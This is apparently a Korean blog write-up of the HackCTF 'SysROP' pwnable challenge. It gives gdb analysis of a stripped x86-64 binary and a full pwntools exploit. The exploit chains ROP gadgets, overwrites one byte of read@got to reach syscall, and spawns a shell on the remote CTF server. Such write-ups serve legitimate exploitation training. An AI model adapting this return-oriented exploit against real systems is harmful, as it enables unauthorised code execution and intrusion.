ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Pwnable] SysROP
    Wargame/HackCTF 2020. 1. 12. 20:20

     

    들어가며

    HackCTF 문제를 풀면서 제일 많이 삽질한 문제인거 같다.

    ppppr 가젯이 있다는 것을 확인을 못하고 계속 return-to-csu로 풀려니까 payload길이에서 막혔다.

    이 문제 덕분에 문제 풀때에는 rp64로 가젯이 있는지 확인해보고 없을 경우에 다른 방법을 쓰는 쪽으로 갈피를 잡았다.

     

    문제해석

    root@goorm:/workspace/ubuntu_1604/hackctf/pwnable/sysrop(master)# file sysrop
    sysrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for
    GNU/Linux 2.6.32, BuildID[sha1]=194fc93a0eb283750cbd161d675faaeb4443ca90, stripped

    문제는 stripped 되어 있어서 main 함수를 peda로 확인할 수 없었다.

     

    이럴때 entry point를 찾기 위해서는 peda기능인 start로 실행시켜주면 된다.

    gdb-peda$ start
    ...
    Temporary breakpoint 1, 0x00000000004005f2 in ?? ()
    gdb-peda$ x/30i $pc
    => 0x4005f2:    push   rbp
       0x4005f3:    mov    rbp,rsp
       0x4005f6:    sub    rsp,0x10
       0x4005fa:    mov    rax,QWORD PTR [rip+0x200a3f]        # 0x601040 <stdout>
       0x400601:    mov    ecx,0x0
       0x400606:    mov    edx,0x2
       0x40060b:    mov    esi,0x0
       0x400610:    mov    rdi,rax
       0x400613:    call   0x4004d0 <setvbuf@plt>
       0x400618:    mov    rax,QWORD PTR [rip+0x200a31]        # 0x601050 <stdin>
       0x40061f:    mov    ecx,0x0
       0x400624:    mov    edx,0x2
       0x400629:    mov    esi,0x0
       0x40062e:    mov    rdi,rax
       0x400631:    call   0x4004d0 <setvbuf@plt>
       0x400636:    lea    rax,[rbp-0x10]
       0x40063a:    mov    edx,0x78
       0x40063f:    mov    rsi,rax
       0x400642:    mov    edi,0x0
       0x400647:    call   0x4004b0 <read@plt>
       0x40064c:    mov    eax,0x0
       0x400651:    leave
       0x400652:    ret
       0x400653:    nop    WORD PTR cs:[rax+rax*1+0x0]
       0x40065d:    nop    DWORD PTR [rax]
       0x400660:    push   r15
       0x400662:    push   r14
       0x400664:    mov    r15d,edi
       0x400667:    push   r13
       0x400669:    push   r12

    0x4005f2부터 0x400652까지가 main함수인 것을 알 수 있다.

    문제는 120bytes의 입력을 받고, 그대로 종료한다.

    어떠한 출력 함수도 없기에 문제를 푸는 방법은 기존과는 다르다.

     

    stack 크기를 알아보자.

    gdb-peda$ x/20gx $rsp
    0x7fff00c9af20: 0x4141414141414141      0x000000000000000a
    0x7fff00c9af30: 0x0000000000400660      0x00007f1a33c0f830
    0x7fff00c9af40: 0x0000000000000001      0x00007fff00c9b018
    0x7fff00c9af50: 0x00000001341deca0      0x00000000004005f2
    0x7fff00c9af60: 0x0000000000000000      0x8ee7f20787587ee3
    0x7fff00c9af70: 0x00000000004004f0      0x00007fff00c9b010
    0x7fff00c9af80: 0x0000000000000000      0x0000000000000000
    0x7fff00c9af90: 0x7119f314d5187ee3      0x70d3950664487ee3
    0x7fff00c9afa0: 0x0000000000000000      0x0000000000000000
    0x7fff00c9afb0: 0x0000000000000000      0x00007fff00c9b028
    gdb-peda$ x/gx $rbp
    0x7fff00c9af30
    gdb-peda$ p/d $rbp-$rsp
    $2 = 16

    stack 크기는 16+rbp+ret 이므로 24까지 덮고 ret를 변조시켜주면 rip control이 가능하다.

     

    이제, 출력함수 하나 없는 이 binary를 exploit해야 한다.

     

    풀이

    도통 감이 안잡히는 이 문제.. 일단 문제 이름으로 풀이를 유추해보자.

     

    SysROP이므로, syscall을 이용한 rop일 것이다.

    syscall이 어디에 있는지 한번 찾아보자.

    gdb-peda$ x/4i 0x4004b0
       0x4004b0 <read@plt>: jmp    QWORD PTR [rip+0x200b62]        #0x601018
    gdb-peda$ x/gx 0x601018
    0x601018:       0x00007f1a33ce6250
    gdb-peda$ x/4i 0x00007f1a33ce6250
       0x7f1a33ce6250 <read>:
        cmp    DWORD PTR [rip+0x2d24e9],0x0        # 0x7f1a33fb8740 <__libc_multiple_threads>
       0x7f1a33ce6257 <read+7>:     jne    0x7f1a33ce6269 <read+25>
       0x7f1a33ce6259 <__read_nocancel>:    mov    eax,0x0
       0x7f1a33ce625e <__read_nocancel+5>:  syscall
    gdb-peda$
       0x7f1a33ce6260 <__read_nocancel+7>:  cmp    rax,0xfffffffffffff001
       0x7f1a33ce6266 <__read_nocancel+13>: jae    0x7f1a33ce6299 <read+73>
       0x7f1a33ce6268 <__read_nocancel+15>: ret
       0x7f1a33ce6269 <read+25>:    sub    rsp,0x8
    gdb-peda$
       0x7f1a33ce626d <read+29>:    call   0x7f1a33d040d0 <__libc_enable_asynccancel>
       0x7f1a33ce6272 <read+34>:    mov    QWORD PTR [rsp],rax
       0x7f1a33ce6276 <read+38>:    mov    eax,0x0
       0x7f1a33ce627b <read+43>:    syscall

    함수의 호출 과정에서 read@got주소에 syscall이 있을것이라 예상하고 찾았더니 예상대로 syscall이 있었다.

     

    그럼 이 syscall을 어떻게 사용하면 좋을까?

    rdi"/bin/sh"를 넣고, rsi, rdx에 각각 0을 넣는다.

    마지막으로 rax59를 넣은 후에 syscall을 호출하면, execve("/bin/sh", 0, 0)가 실행이 될 것이다.

     

    그러므로,

    1. "/bin/sh"를 bss영역에 넣고,
    2. pop rdi, pop rsi, pop rdx, pop rax 가젯을 찾아서 레지스터를 내가 원하는 값으로 초기화해준다.
    3. syscall을 호출한다.

    가 exploit흐름이 된다.

     

    그런데 여기서 한가지 의문이 생긴다.

    memory에 dynamically하게 정해지는 syscall은 어떻게 호출할 것인가?

     

    기본적으로 ASLR이 적용이 되어 있어도 하위 1.5bytes고정되어서 바뀌지 않는다.

    # first execute
    gdb-peda$ x/gx 0x601018
    0x601018:       0x00007f1a33ce6250
    gdb-peda$ x/4i 0x00007f1a33ce6250
       0x7f1a33ce6250 <read>:
        cmp    DWORD PTR [rip+0x2d24e9],0x0        # 0x7f1a33fb8740 <__libc_multiple_threads>
       0x7f1a33ce6257 <read+7>:     jne    0x7f1a33ce6269 <read+25>
       0x7f1a33ce6259 <__read_nocancel>:    mov    eax,0x0
       0x7f1a33ce625e <__read_nocancel+5>:  syscall
    
    # second execute
    gdb-peda$ x/gx 0x601018
    0x601018:       0x00007f0bd71df250
    gdb-peda$ x/4i 0x00007f0bd71df250
       0x7f0bd71df250 <read>:
        cmp    DWORD PTR [rip+0x2d24e9],0x0        # 0x7f0bd74b1740 <__libc_multiple_threads>
       0x7f0bd71df257 <read+7>:     jne    0x7f0bd71df269 <read+25>
       0x7f0bd71df259 <__read_nocancel>:    mov    eax,0x0
       0x7f0bd71df25e <__read_nocancel+5>:  syscall

    이 점을 이용하여 read@got 주소를 1byte 만을 overwrite하여 syscall 주소로 변조시킨 후에 read함수를 호출하면, syscall로 jmp하게 된다.

    왜 1.5bytes가 아닌 1byte인지는 잘 알고 있겠지만, read@got에서 syscall까지의 거리가 0x100보다 크지가 않다.(0xe)

     

    위 정보를 총합하여 exploit code를 작성해보았다.

     

    exploit.py

    from pwn import *
    
    context.terminal = ['tmux', 'splitw', '-h']
    
    breakpoint = {'bp':0x400647}
    
    #r = process('./sysrop')
    r = remote('ctf.j0n9hyun.xyz', 3024)
    e = ELF('./sysrop')
    libc = ELF('./libc.so.6')
    #gdb.attach(r, 'b *{}'.format(breakpoint['bp']))
    
    read_plt = e.plt['read']
    read_got = e.got['read']
    ppppr = 0x4005ea
    pppr = 0x4005eb
    main = 0x4005f2
    bss = 0x0000000000601040
    main_stage = bss + 0x400
    binsh = '/bin/sh\x00'
    
    payload = ''
    payload += "A"*24
    payload += p64(pppr)
    payload += p64(len(binsh))	# rdx
    payload += p64(0)		# rdi
    payload += p64(main_stage)	# rsi
    payload += p64(read_plt)	# read(0, bss, len(binsh))
    payload += p64(main)
    
    payload2 = ''
    payload2 += "A"*24
    payload2 += p64(pppr)
    payload2 += p64(1)		# rdx
    payload2 += p64(0)		# rdi
    payload2 += p64(read_got)	# rsi
    payload2 += p64(read_plt)	# read(0, read_got, 1) <- '\x5e'(syscall)
    
    payload2 += p64(ppppr)
    payload2 += p64(59)		# rax
    payload2 += p64(0)		# rdx
    payload2 += p64(main_stage)	# rdi
    payload2 += p64(0)		# rsi
    payload2 += p64(read_plt)	# syscall(59) -> execve("/bin/sh", 0, 0)
    
    r.send(payload)
    sleep(0.1)
    r.send(binsh)
    sleep(0.1)
    r.send(payload2)
    sleep(0.1)
    r.send('\x5e')
    sleep(0.1)
    r.interactive()

     

    epilogue

    pop rax 가젯이 없으면 이 문제를 어떻게 해결해야 할까..?

    bss영역에 "/bin/sh"를 넣고 main으로 jmp한 후에 read@got를 마찬가지로 syscall로 변조한다.

    read(0, main_stage, len(binsh)) <- '/bin/sh\x00'

    jmp main

    read(0, read@got, 1) <- '\x5e'

    그렇게 되면 read함수의 return값(read 받은 길이(1))이 rax에 저장될 것이고 그 상태로 rdi를 1(stdout)로,  rsi를 read@got로 조작하여 syscall을 부르게 되면 write 함수가 실행이 될 것이다.

    write(1, read@got, 0x78) -> libc_read_addr

    mov eax, 0x0

    leave ret

    그렇게 되면 libc를 leak할 수 있다. 또한, eax를 0x0으로 초기화 하여 read 함수를 다시한번 호출할 수 있다.

    이후에 exploit방법이 떠오르지 않는다... 나중에 조금 더 생각해봐야지

    'Wargame > HackCTF' 카테고리의 다른 글

    [Pwnable] Register  (0) 2020.01.16
    [Pwnable] RTC  (0) 2020.01.12
    [Pwnable] babyfsb  (0) 2020.01.10
    [Pwnable] You are silver  (0) 2020.01.08
    [Pwnable] UAF  (0) 2020.01.05

    댓글

Designed by Tistory.